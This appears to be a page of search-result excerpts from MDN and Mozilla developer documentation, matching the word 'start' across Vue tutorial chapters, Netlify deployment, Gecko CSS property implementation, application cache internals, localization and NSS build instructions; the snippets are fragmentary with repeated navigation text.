...tionality in our app, which is fairly exciting. we are nearing the end of our vue series now. the last bit of functionality to look at is focus management, or put another way, how we can improve our app's keyboard accessibility. ...
...ide javascript frameworks next in this module introduction to client-side frameworks framework main features react getting
started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting
started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting
started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, an...
...ources and troubleshooting vue getting
started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting
started with svelte
starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Adding a new todo form: Vue events, methods, and models - Learn web development
parameter to equal an empty string, the input will update as well. update your todoform component’s onsubmit() method to this: onsubmit() { if(this.label === "") { return; } this.$emit('todo-added', this.label); this.label = ""; } now when you click the "add" button, the "new-todo-input" will clear itself. summary excellent. ...
...now
starting to feel interactive, but one issue is that we've completely ignored its look and feel up to now. in the next article, we'll concentrate on fixing this, looking at the different ways vue provides to style components. ...
...ide javascript frameworks next in this module introduction to client-side frameworks framework main features react getting
started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting
started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting
started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, an...
...ources and troubleshooting vue getting
started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting
started with svelte
starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Rendering a list of Vue components - Learn web development
l use this to iterate through an array of to-do items and display them in our app in separate todoitem components. adding some data to render first we need to get an array of to-do items. to do that, we’ll add a data property to the app.vue component object, containing a todoitems field whose value is an array of todo items. while we'll eventually add a mechanism to add new todo items, we can
start with some mock to do items. each to-do item will be represented by an object with a name and a done property. add a few sample to-do items, along the lines of those seen below. this way you have some data available for rendering using v-for. export default { name: 'app', components: { todoitem }, data() { return { todoitems: [ { label: 'learn vue', done: false }, ...
...nd for that we'll need a text <input>, an event to fire when the data is submitted, a method to fire upon submission to add the data and rerender the list, and a model to control the data. we'll get to these in the next article. ...
...ide javascript frameworks next in this module introduction to client-side frameworks framework main features react getting
started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting
started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting
started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, an...
...ources and troubleshooting vue getting
started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting
started with svelte
starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Vue resources - Learn web development
ns), you'll need a terminal with node + npm installed. objective: to learn where to go to find further information on vue, to continue your learning. further resources here’s where you should go to learn more about vue: vue docs — the main vue site. contains comprehensive documentation, including examples, cookbooks, and reference material. this is the best place to
start learning vue in depth. vue github repo — the vue code itself. this is where you can report issues and/or contribute directly to the vue codebase. studying the vue source code can help you better understand how the framework works, and write better code. vue forum — the official forum for getting help with vue. vue cli docs — documentation for the vue cli. this contains information on cus...
... also a handful of other changes, including a change in how apps are initialized in vue. to read more about the changes involved with vue 3, refer to this article by vue school which goes over most of the major changes in vue 3. ...
...ide javascript frameworks next in this module introduction to client-side frameworks framework main features react getting
started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting
started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting
started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, an...
...ources and troubleshooting vue getting
started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting
started with svelte
starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Styling Vue components with CSS - Learn web development
ling apps: external css files. global styles in single file components (.vue files). component-scoped styles in single file components. to help familiarize you with each one, we'll use a combination of all three to give our app a nicer look and feel. styling with external css files you can include external css files and apply them globally to your app. let's look at how this is done. to
start with, create a file called reset.css in the src/assets directory. files in this folder get processed by webpack. this means we can use css pre-processors (like scss) or post-processors (like postcss). while this tutorial will not be using such tools, it's good to know that when including such code in the assets folder it will be processed automatically. add the following contents to the reset.c...
...ow. summary our work is done on the styling of our sample app. in the next article we'll return to adding some more functionlity to our app, namely using a computed property to add a count of completed todo items to our app. ...
...ide javascript frameworks next in this module introduction to client-side frameworks framework main features react getting
started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting
started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting
started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, an...
...ources and troubleshooting vue getting
started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting
started with svelte
starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Deploying our app - Learn web development
own instance of this project you will need to host this project's code in your own git repository. our next step is to push the project to github. committing changes to github this section will get you over the line to storing your code in a git repository, but it is a far cry from a git tutorial. there’s many great tutorials and books available, and our git and github page is a good place to
start. we initialized our working directory as a git working directory earlier on. a quick way to verify this is to run the following command: git status you should get a status report of what files are being tracked, what files are staged, and so on — all terms that are part of the git grammar. if you get the error fatal: not a git repository returned, then the working directory is not a git work...
...b, this tutorial walks you through how. this final command instructs git to push the code (aka publish) to the "remote" location that we called github (that's the repository hosted on github.com — we could have called it anything we like) using the branch master. we've not encountered branches at all, but the (terribly named) "master" branch is the default place for our work and it's what git
starts on. it's also the default branch that netlify will look for, which is convenient. so with our project committed in git and pushed to our github repository, the next step in the toolchain is to connect github to netlify so our project can be deployed live on the web! using netlify for deployment deploying from github to netlify is surprisingly simple once you know the steps, particularly with ...
... to netlify so our project can be deployed live on the web! using netlify for deployment deploying from github to netlify is surprisingly simple once you know the steps, particularly with "static websites" such as this project. note: there are also a lot of guides and tutorials on netlify to help you improve your development workflow. let's get this done: go to https://app.netlify.com/
start. press the github button underneath the continuous deployment heading. "continuous deployment" means that whenever the code repository changes, netlify will (try) to deploy the code, thus it being "continuous". depending on whether you authorized netlify before, you might need to authorize netlify with github, and choose what account you want to authorize it for (if you have multi...
...me deployment platforms will include a specific method for testing as part of their pipeline. products like github, gitlab, etc., all support running tests against individual commits. as this project is deploying to netlify, and netlify only asks about the build command, we will have to make the tests part of the build. if the test fails, the build fails, and netlify won’t deploy. let’s get
started. go to your package.json file and open it up. find your scripts member, and update it so that it contains the following test and build commands: "scripts": { … "test": "node tests/*.js", "build": "npm run test && parcel build src/index.html" } now of course we need to add the test to our codebase; create a new directory in your root directory called tests: mkdir ...
Adding a new CSS property
or the property available. issues about how to write such a specification (including things such as whether it is appropriate to use prefixes or when properties should be inherited by default) are not covered here. if you need more details on any of the points mentioned here, a good place to find them is by looking at other changes in the version control history of the files mentioned. getting
started first, you'll want to add an appropriate test entry to property_database.js. see the documentation at the top of the file and the other entries for examples. this will cause tests of your new property to be added to many of the mochitests in layout/style/test, which can be run with the command "./mach mochitest -f plain layout/style/". then, unless you're implementing a shorthand property, ...
...the rule tree, and thus we should avoid adding a property not reset by that shorthand to such a struct. once you know which struct you're going to use (or that the property is a shorthand), you can add appropriate entry to nscssproplist.h. again, see the documentation at the top of the file and the other entries for examples, and also see the next section for details about parsing. parsing to
start implementing the parsing, first read the syntax line in the property's specification (whose syntax is in turn defined in the css values and units specification) and any prose in the specification that adds additional restrictions to that syntax. every property in nscssproplist.h must have in its flags field exactly one of the four css_property_parse_* flags defined in nscssprops.h. given the sy...
... that property's preference), call nscssprops::isenabled(), which is faster than calling into the preferences code for further understanding of how the parsing code works, you should read and understand the code in nscssparser.cpp. computed style when adding a new longhand property, you also need to implement the computed style side of things. (none of this applies to shorthand properties.)
start by reading and understanding the "computed value:" line in the specification's definition of the property, and any associated prose. this line describes the conceptual representation (but not syntax) of the computed value of the property. the data structures in gecko that store the computed value must correspond to this concept, or inheritance won't work as described by the specification. so f...
..., which depend on the font size. note that use of setcoord (if the resulting value needs to be a tagged union) or setdiscrete is preferred when it's possible to use those functions. also, it's very important not to touch the computed style data at all when there's no specified data provided (ecssunit_null); touching the computed style data in this case would break partial computation based on a
start struct, which is when we computed style data on the basis of computed data we've already computed from a subset of the style rules that we're currently computing from. then you need to change nsstyle*::calcdifference (in nsstylestruct.cpp) to describe how dynamic changes of your new css property need to be handled. see nschangehint.h for documentation (or if that's not sufficient, see restylema...
Application cache implementation overview
rk or fallback namespaces. when matching fallback namespace, the associated fallback entry for it is remembered. the load then continues from the network as a usual load, using http cache. when load of the resource fails fallback steps are performed (see “falling back on a resource load failure” chapter). associating the top level document with offline cache this happens between document load
start and the first sub-resource download
start and is not about associating nsiapplicationcache object with the channel, but with the document object the load is performed for. until steps described further the document doesn't know anything about its appcache. the association happens in nscontentsink::processofflinemanifest() called from the html parser every time <html> tag has been parsed. processo...
...tempt for the manifest is scheduled after the document completely loads. marking entries as foreign when nscontentsink::processofflinemanifest() discovers that the url in the manifest attribute of the html tag is different from the manifest url the channel's nsiapplicationcache object belongs to, the entry the document has been loaded from is marked “foreign” and the page load is completely re
started. the load
starts again from the top with a completely new channel. but this time the entry is not selected to load the top level document from. we search another, if available, potentially even in a different offline cache group. loading subresources of a document using offline cache each sub resource loading channel is set inheritapplicationcache flag. this flag is by default true, but it is d...
...new nsiapplicationcache for the given manifest url using nsiapplicationcacheservice::createapplicationcache(). this new cache version is now pending to be activated after all following long and complicated download process passes. until that it is not used for loading resources from. after these steps the update is in initialized state waiting to be scheduled. when the update is about to actually
start, the scheduling service calls nsofflinecacheupdate::begin() method, that switches the update to checking state (+invokes onchecking event) and
starts fetch of the manifest file. note: whenever a load of an items (including the manifest) fails due to a network or server error or leads to a redirect, the update fails and completely rollbacks any changes made (i.e. all files downloaded are deleted a...
...nexturi method early returns when state of the update is different then downloading. on downloading state loadcompleted checks whether load of the item succeeded. if so, its marked as valid in the new cache version and processnexturi() is called. otherwise, the update invokes onerror and 'finishes'. when processnexturi discovers there are no more items to download it
starts a “manifest check” implemented by nsmanifestcheck. nsmanifestcheck downloads the manifest from the server one more time and checks its content has not changed again. the results is passed to the original update via manifestcheckcompleted method. when the manifest is identical, the cache is activated, onupdateready event is invoked and the update 'finishes'. when the m...
The Firefox codebase: CSS Guidelines
ting styles in javascript. it's generally better to set a class and then specify the styles in css. classlist is generally better than classname. there's less chance of overwriting an existing class. only use generic selectors such as :last-child, when it is what you mean semantically. if not, using a semantic class name is more descriptive and usually better. boilerplate make sure each file
starts with the standard copyright header (see license boilerplate). before adding more css it is good practice to check if the css that is being written is needed, it can be the case that a common component has been already written could be reused with or without changes. most of the time, the common component already follows the a11y/theme standards defined in this guide. so, when possible, always ...
...nd then think of how the css variable could improve that css. ...
...ariables use the variable according to its naming do this: xul|tab:hover { background-color: var(--in-content-box-background-hover); } not this: #certificateerrordebuginformation { background-color: var(--in-content-box-background-hover); } localization text direction for margins, padding and borders, use inline-
start/inline-end rather than left/right. example: use margin-inline-
start: 3px; instead of margin-left: 3px. ...
...ar(--in-content-box-background-hover); } not this: #certificateerrordebuginformation { background-color: var(--in-content-box-background-hover); } localization text direction for margins, padding and borders, use inline-
start/inline-end rather than left/right. example: use margin-inline-
start: 3px; instead of margin-left: 3px. for rtl-aware positioning (left/right), use inset-inline-
start/inset-inline-end. for rtl-aware float layouts, float: inline-
start|inline-end can be used instead of float: left|right. the rtl-aware equivalents of border-{top/bottom}-{left/right}-radius are border-{
start/end}-{
start/end}-radius when there is no special rtl-aware property available, use the pseudo :-moz-locale-dir(ltr|rtl) (for xul files) or :dir(ltr|rtl) (for html files). remember that whi...
Contributing to the Mozilla code base
e should guide you through the initial steps of contributing to mozilla. welcome, we're delighted to see you! :) need help? the mozilla community prides itself on being an open, accessible, and friendly community for new participants. if you have any difficulties getting involved or finding answers to your questions, please come and ask your questions in our chatroom, where we can help you get
started. we know even before you
start contributing that getting set up to work on firefox and finding a bug that's a good fit for your skills can be a challenge. we're always looking for ways to improve this process: making mozilla more open, accessible, and easier to participate with. if you're having any trouble following this documentation, or hit a barrier you can't get around, please contact mik...
...javascript and/or html/css, vr contribute to mozilla hubs servo rust contribute to servo there are even many ways to contribute to the mozilla mission without programming. if getting involved in design, support, translation, testing, or other types of contributions sparks your interest please see community webiste. perhaps you do not know programming yet, but you want to
start learning? there are plenty of resources available on the mdn web docs! step 1: find something to work on bugs listed as 'assigned' are not usually a good place to
start unless you're sure you have something worthy to contribute. someone else is already working on it! even with no assignee, it is polite to check if someone has recently commented that they're looking at fixing the issue. once yo...
...ssue. once you have found something to work on, go ahead and comment! let the bug submitter, reviewer, and component owner know that you'd like to work on the bug. you might receive some extra information, perhaps also made the assignee. fix your pet peeve if there's something you'd like to fix about firefox, thunderbird, or your other favorite mozilla application, this can be a great place to
start. there are a number of ways to do this: search bugzilla for relevant keywords. see pages on bugzilla for further help learn the bugzilla component, with which your pet peeve is implemented, using the components list. browse this component on bugzilla for related bugs ask in our matrix channels : #introduction:mozilla.org or #developers:mozilla.org find a bug we've identified as a good fit ...
... for further help learn the bugzilla component, with which your pet peeve is implemented, using the components list. browse this component on bugzilla for related bugs ask in our matrix channels : #introduction:mozilla.org or #developers:mozilla.org find a bug we've identified as a good fit for new contributors. with more than a million bugs filed in bugzilla, it can be hard to know where to
start, so we've created these bug categories to make getting involved a little easier: codetribute - our site for finding bugs that are mentored, some are good first bugs, some are slightly harder. your mentor will help guide you with the bug fix and through the submission and landing process. good first bugs - are the best way to take your first steps into the mozilla ecosystem. they're all about ...
Performance
frame scripts also get executed on non-restored tabs. all their overhead is thus not just incurred by active tabs but by the total number of tabs in a session. ...
... frame scripts also get executed on non-restored tabs. all their overhead is thus not just incurred by active tabs but by the total number of tabs in a session. ...
...escript("data:,sendasyncmessage('my-addon:paragraph-count', {num: content.document.queryselectorall('p').length})", false) } function decoratebutton(button, count) { // do stuff with result } this executes the script only when it is needed and only in one tab and allows it to be garbage-collected immediately after execution. as long as it the action does not happen frequently the memory and
startup savings should outstrip the added cost of script evaluation. delaying the script registration until the session is restored my provide some middle ground for some addons. it does not provide the same memory footprint reductions but it improves application
startup. beam down information in advance to avoid synchronous calls to the parent bad: // processscript.js function contentpolicy() {...
...in the parent an addon can employ a master-slave architecture where the parent has the authoritative state and replicates it to the child processes in advance so they can act based on their local copy. see the previous chapter on how to efficiently replicate addon state to each process. clean up on addon unload bad: all the previous examples, *even the "better" ones* if your addon is re
startless or uses the sdk then updates or the user turning it off and on will load to unload/reload events. not handling those properly can lead to duplicate or conflicting code execution, especially when messages are sent. it can also lead to conflicts between the old and new code. under some circumstances it may even cause exceptions when attempting to register something twice under the same id. bet...
MozBeforePaint
gecko 2.0 adds a new method for performing javascript controlled animations that synchronize not only with one another, but also with css transitions and smil animations being performed within the same window. usage outline in order to time your animation, the first thing you need to know is the time base; that is, the time at which your animation sequence
started. you can determine this value by looking at window.mozanimation
starttime. this new property indicates the time, in milliseconds since epoch, at which all animations
started in the specified window during the current refresh interval should be considered to have
started running. with that value in hand, you can then schedule all your subsequent animation frames. whenever you're ready to refresh your animation, you call the window.r...
...ng the frame rate avoids wasting work, thereby saving cpu usage and power and improving overall system performance. example this example performs a simple animation, moving a box a short distance after a short period of time. ...
...sting work, thereby saving cpu usage and power and improving overall system performance. example this example performs a simple animation, moving a box a short distance after a short period of time. ...
...system performance. example this example performs a simple animation, moving a box a short distance after a short period of time. ...
How Mozilla determines MIME Types
e, if mozilla encounters a <link type="text/css" rel="stylesheet" href="..."> element, a type of text/css will be assumed. this is, however, overridden by the actual mime type the server sends (if any). (for this specific example, the server override only happens in standards-compliant mode. see mozilla's quirks mode or web author faq). ...
...er override only happens in standards-compliant mode. see mozilla's quirks mode or web author faq). similar handling happens for <a href="..." type="foo/bar">,
starting in mozilla 1.6alpha. http for http uris mozilla usually gets a mime type sent from the server, and uses it. contrary to internet explorer's mime type guessing, mozilla will generally not sniff the type of the document. however,
starting in mozilla 1.7alpha, mozilla does do content sniffing, like this: when the content-type sent by the server is one of (case-sensitively) text/plain text/plain; charset=iso-8859-1 text/plain; charset=iso-8859-1 and the server did not send a content-encoding header, mozilla will sniff the first block of data it gets and check for non-text bytes. text bytes are 9-13, 27, and 31-255. when e...
...type of the image. if the server did not send a content-type header, mozilla uses the unknown decoder to find a mime type. file uris for file: uris, mozilla will ask the externalhelperappservice for a mime type. ftp like http uris without a mime type, ftp uris go through the unknown decoder. unknown decoder located at netwerk/streamconv/converters/nsunknowndecoder.cpp, the interesting part
starts at line 287, the ssnifferentries array together with the determinecontenttype function. it does the following: checks the
start of the file for "magic numbers"; this can currently detect pdf and postscript. if the file
starts with <?xml, asks the externalhelperappservice for a mime type for the uri. this is done because the generic text/xml mime type does not work for xul files, and xhtml fi...
...source is searched via the extension (content-disposition as above). ...
How to implement a custom autocomplete search component
there are actually two autocomplete mechanisms: an older mechanism that is part of the "xpfe" codebase and is used in older applications such as thunderbird and seamonkey. a newer and slightly simplified mechanism that is used in "toolkit" applications such as firefox and xulrunner. thunderbird 2.x and seamonkey 1.1.x support the toolkit interfaces, although they do not use the same autocomplete widget. ...
...ntractid : contract_id, /** * searches for a given string and notifies a listener (either synchronously * or asynchronously) of the result * * @param searchstring the string to search for * @param searchparam an extra parameter * @param previousresult a previous result to use for faster searchinig * @param listener the listener to notify when the search is complete */
startsearch: function(searchstring, searchparam, previousresult, listener) { var results = ['mary', 'john']; var autocomplete_result = new providerautocompleteresult(searchstring, ci.nsiautocompleteresult.result_success, 0, "", results, null); listener.onsearchresult(this, autocomplete_result); }, /** * stops an asynchronous search that is in progress */ stopsearch: fu...
...the json is converted into an array and used // as the source of match data. any values that match the search string // are moved into tem...
...ls(components.interfaces.nsifactory)) throw components.results.ns_error_not_implemented; if (acid.equals(class_id)) return simpleautocompletesearchfactory; throw components.results.ns_error_no_interface; }, canunload: function(acompmgr) { return true; } }; // module initialization function nsgetmodule(acompmgr, afilespec) { return simpleautocompletesearchmodule; }
starting in gecko 2.0, component registration has been changed, so you need to make the following changes: add an nsgetfactory() function: function nsgetfactory(cid) { if (cid.tostring().touppercase() != class_id.tostring().touppercase()) { throw components.results.ns_error_factory_not_registered; } return simpleautocompletesearchfactory; } you need to explicit...
Interfacing with the Add-on Repository
g done this, you can then access the api through the resulting addonrepository object. enabling the recommendation feature in current builds of firefox 4, the recommendation api doesn't work because the preference for the url to query to get recommended add-ons is not included by default; see bug 628785. ...
..., "https://services.addons.mozilla.org/%locale%/%app%/api/%api_version%/list/recommended/all/%max_results%/%os%/%version%?src=firefox"); prefsservice.savepreffile(null); } this fetches the value of the extensions.getaddons.recommended.url preference, and, if the preference doesn't exist or has no value, sets the value of the preference to the correct one for the amo site.
starting a request to
start a search of the repository, you can use either of the following methods: searchaddons() queries the add-on repository for add-ons matching given search criteria. retrieverecommendedaddons() retrieves a list of recommended add-ons, as determined by the amo site administrators. this example will use the latter, in order to randomly select a recommended add-on and offe...
.... retrieverecommendedaddons() retrieves a list of recommended add-ons, as determined by the amo site administrators. this example will use the latter, in order to randomly select a recommended add-on and offer to install it. however, the code to perform a search term based query would be very similar. when the user clicks a toolbar button to initiate the query, the following code gets run to
start the request: addonrepository.retrieverecommendedaddons(10, this); this asks the repository to fetch up to 10 add-ons, using the object this as the target for callbacks. the callback object needs to implement the searchcallback interface, providing the methods that get called when a search either fails or completes successfully. handling failed requests the callback object must have a searchf...
... the pop-up callback function that gets called when the user clicks the button looks to see if there's a non-null addoninstall object reference; if it's null, then the pop-up is displaying an error notification, so clicking th...
JNI.jsm
eturn value a javascript string. unloadclasses() blah blah void unloadclasses(); parameters this function takes no arguments. return value this function has no return value, if you try to store the return value in a variable, it will be undefined. working with arrays creating/preallocating a typed array methods cdata .get(number aindex); cdata .getelements(number a
start, number alength); void .set(number aindex, cdata avalue); void .setelements(number a
start, [array, size_is(arr.length > number anynumber > 0)] in cdata avalsarray); .get() gets the value of the element in the array at given aindex. cdata get(number aindex); parameters aindex the position in the array to obtain. return value returns primitive cdata. .getelement...
...if 0 is supplied, an empty cdata array is returned. return value a new cdata array object based on the array. ...
...tart, [array, size_is(arr.length > number anynumber > 0)] in cdata avalsarray); .get() gets the value of the element in the array at given aindex. cdata get(number aindex); parameters aindex the position in the array to obtain. return value returns primitive cdata. .getelements() returns a new cdata object of the section of the array specified by a
start and ending at position a
start + alength. void setelements(number a
start, number alength); parameters a
start the position to
start setting elements of the array in. alength the number of elements to copy from a
start. if 0 is supplied, an empty cdata array is returned. return value a new cdata array object based on the array. .set() sets an element in the array at given aindex to the given aval. void set(number a...
...ets an element in the array at given aindex to the given aval. void set(number aindex, cdata aval); parameters aindex the position in the array to change. aval a value to set it to. return value this function has no return value, if you try to store the return value in a variable, it will be undefined. .setelements() sets a section of a typed array to specified values. this function
starts on the position of a
start in the array and sets it to the values in avalsarray. this is done by calling .set for each element with the respective value in the avalsarray. void setelements(number a
start, [array, size_is(arr.length > number anynumber > 0)] in cdata avalsarray); parameters a
start the position to
start setting elements of the array in. avalsarray a javascript array holding ...
SVN for Localizers
if you're already familiar with this information, skip ahead to mozilla's svn repositories. ...
...ale directories are other directories with files to be localized in .lang format. note: we use the terms stage and prod (abbreviations of the terms staging and production) to refer to testing and publicly visible websites, respectively. working with svn now that you understand the mozilla svn repository layout (in particular the layout for mozilla.com), let's get some files into your hands to
start localizing! the first thing you need to do is copy the mozilla repository you want to work on to your computer. enter the following command in your command-line tool: svn checkout https://svn.mozilla.org/projects/mozilla.com/trunk/locales/[your locale code] mozilla-l10n-[your-localecode] this command creates the mozilla-l10n-[your-localecode] directory on your computer and copies into it ...
...ou will have the chance to see how the localized website will look when it's pushed to prod (i.e., a website that regular visitors will see). when localizing websites, l10n-drivers will always add needed files to your repository or update your files with new strings in english. ...
...go back to the root of your working directory and execute this command: svn revert * this is a really helpful command because it reverts all of your changes to your working directory's last updated state. this is a huge blessing if you have been updating frequently. it's a nightmare if you haven't because it throws away all of your recent hard work. ...
Localization formats
l, the site will be updated after the launch? is this a long-term project with continuous updates to content? is this a long-term project with stable content? is this a short-term project? will the content differ per locale? if so, to what extent? ...
...ave the answers ready before
starting the web l10n process. html/php maybe you are designing a project that has relatively small translation needs like three to four lines (or more) of content asking users to update to the next version of software available. you may choose to present just the html for localization: we give an html file which lists several pieces of content like, <h1>getting
started</h1> and the localizer translates to <h1>débuter avec firefox</h1> the localizer then submits the translated html or php back to us by either checking in changes to svn or sending us a patch that pascal checks in. advantages to html good for small projects very simple for web developers gives localizers the exact context of translations a localizer who knows basic html can style t...
...bdev team sets up a site without gettext support, we still have .lang. (it should be noted that this is near impossibility since most sites will be set up with gettext support.) .lang files can be easily edited in a text editor with this setup, a localizer is given a "[something].lang" file containing all the strings needing localization. that file will have the following structure: ;getting
started débuter avec firefox the english content is designated by the semi-colon and the localizer provides the translation underneath. that content is placed into an array that is used by the php code later. $array["getting
started"] = "débuter avec firefox" the php code searches the array and returns the translation that is associated with the english term used by the web developer. see the...
...t is designated by the semi-colon and the localizer provides the translation underneath. that content is placed into an array that is used by the php code later. $array["getting
started"] = "débuter avec firefox" the php code searches the array and returns the translation that is associated with the english term used by the web developer. see the example below. ...
Performance
de or an add-on. documentation reporting a performance problem a user friendly guide to reporting a performance problem. a development environment is not required. benchmarking tips on generating valid performance metrics. performance best practices in extensions a performance "best practices" guide for extension developers. measuring add-on
startup performance a guide for add-on developers on how to set up a performance testing environment. xul school: add-on performance tips for add-on developers to help them avoid impairing application performance. gpu performance tips for profiling and improving performance when using a gpu. scroll-linked effects information on scroll-linked effects, their effect on p...
...ry profiling and leak detection tools the developer tools "memory" panel the memory panel in the devtools supports taking heap snapshots, diffing them, computing dominator trees to surface "heavy retainers", and recording allocation stacks. about:memory about:memory is the easiest-to-use tool for measuring memory usage in mozilla code, and is the best place to
start. it also lets you do other memory-related operations like trigger gc and cc, dump gc & cc logs, and dump dmd reports. about:memory is built on top of firefox's memory reporting infrastructure. dmd dmd is a tool that identifies shortcomings in about:memory's measurements, and can also do multiple kinds of general heap profiling. are we slim yet areweslimyet.com (a.k.a. awsy) is...
... profiling with the developer tools profiler the profiler built into the developer tools has a high-level waterfall, detailed call tree, allocations and gc profiling, and flame graphs. it is available on all platforms and release channels, and also supports remote profiling b2g and fennec. profiling with the firefox profiler the firefox profiler is a good tool to
start with, particularly for understanding where time is spent within c++ code in firefox. profiling with instruments how to use apple's instruments tool to profile mozilla code. profiling with xperf how to use microsoft's xperf tool to profile mozilla code. profiling with concurrency visualizer how to use visual studio's concurrency visualizer tool to profile mozilla code...
... - replaced by instruments) how to use apple's shark tool to profile mozilla code. investigating css performance how to figure out why restyle is taking so long power profiling power profiling overview this page provides an overview of relevant information, including details about hardware, what can be measured, and recommended approaches. it should be the
starting point for anybody new to power profiling. tools/power/rapl (mac, linux) tools/power/rapl is a command-line utility in the mozilla codebase that uses the intel rapl interface to gather direct power estimates for the package, cores, gpu and memory. powermetrics (mac-only) powermetrics is a command-line utility that gathers and displays a wide range of global and per-process m...
Preference reference
accessibility.tabfocusthe preference accessibility.tabfocus controls what elements receive focus when the user presses the tab key.browser.altclicksavethe preference browser.altclicksave controls whether clicking a link while holding the alt key
starts the download of that link.browser.dom.window.dump.enabledthis setting enables the dump function, which sends messages to the system console. ...
....dom.window.dump.enabledthis setting enables the dump function, which sends messages to the system console. set it to true to enable it, or false to disable it.browser.dom.window.dump.filebrowser.dom.window.dump.file redirects the ouput of window.dump() calls to a file whose address is specified in this preference if browser.dom.window.dump.enabled is set to true. changes require an application re
start.browser.download.lastdir.savepersitebrowser.download.lastdir.savepersite controls whether the directory preselected in the file picker for saving a file download is being remembered on a per-website (host) base. if set to true, the data is stored as content preference.browser.pagethumbnails.capturing_disabledthe preference browser.pagethumbnails.capturing_disabled controls whether the application...
...page, and it lets them know which part of the page had been selected. the emitting of the oncopy, oncut and onpaste events are controlled by this preference. javascript.options.showinconsolethe preference javascript.options.showinconsole controls whether errors or warnings in chrome code are shown in the error console.javascript.options.stricttechnical review completed.mail.tabs.drawintitlebar
starting in thunderbird 17.0, the tabs are drawn in the title bar. the old behavior can be restored by setting the preference mail.tabs.drawintitlebar to false.nglayout.debug.disable xul fastloadthe preference nglayout.debug.disable_xul_fastload controls whether or not xul fastload is used.nglayout.debug.disable_xul_cacheto improve performance, mozilla caches chrome xul documents the first time they lo...
...ve performance, mozilla caches chrome xul documents the first time they load for faster loading later. the effect is that the source xml file is not read and re-parsed each time the chrome in question is displayed. the xul cache is serialized and saved between mozilla sessions in the xul fastload file, which saves a “compiled” version of the xul and javascript in a document to disk for faster
startup the next time the application runs.reader.parse-on-load.force-enabledthe preference reader.parse-on-load.force-enabled controls if the reader mode used in firefox mobile should be enabled independent of the memory available in the device. by default, the reader mode in firefox mobile is only enabled if the memory is greater than 384mb.ui.alertnotificationoriginui.alertnotificationorigin control...
NSS sources building testing
server. find the directory that contains the highest version number. because nss depends on the base library nspr, you should download the archive that combines both nss and nspr. if you are a software developer and intend to contribute enhancements to nss, you should obtain the latest development snapshot of nss using mercurial/hg (a distributed source control management tool). in order to get
started, anonymous read-only access is sufficient. create a new directory on your computer that you will use as your local work area, and run the following commands. hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss after the above commands complete, you should have two local directories, named nspr and nss, next to each other. (historical information: nspr a...
...mands. hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss after the above commands complete, you should have two local directories, named nspr and nss, next to each other. (historical information: nspr and nss source code have recently been re-organized into a new directory structure. in past versions, all files were located in a directory hierarchy that
started with the "mozilla" prefix. the nspr base library was located in directory mozilla/nsprpub. the subdirectories dbm, security/dbm, security/coreconf, security/nss were part of the nss sources.) the nss directory contains the following important subdirectories: nss/coreconf contains knowledge for cross platform building. nss/lib contains all the library code that is used to create the run...
...ant part of development work, in order to ensure your changes don't introduce regressions. when adding new features to nss, tests for the new feature should be added as well. you must build nss prior to running the tests. after the build on your computer has succeeded, before you can run the tests on your computer, it might be necessary to set additional environment variables. the nss tests will
start tcp/ip server tools on your computer, and in order for that to work, the nss test suite needs to know which hostname can be used by client tools to connect to the server tools. on machines that are configured with a hostname that has been registered in your network's dns, this should work automatically. in other environments (for example in home networks), you could set the host and domsuf (for d...
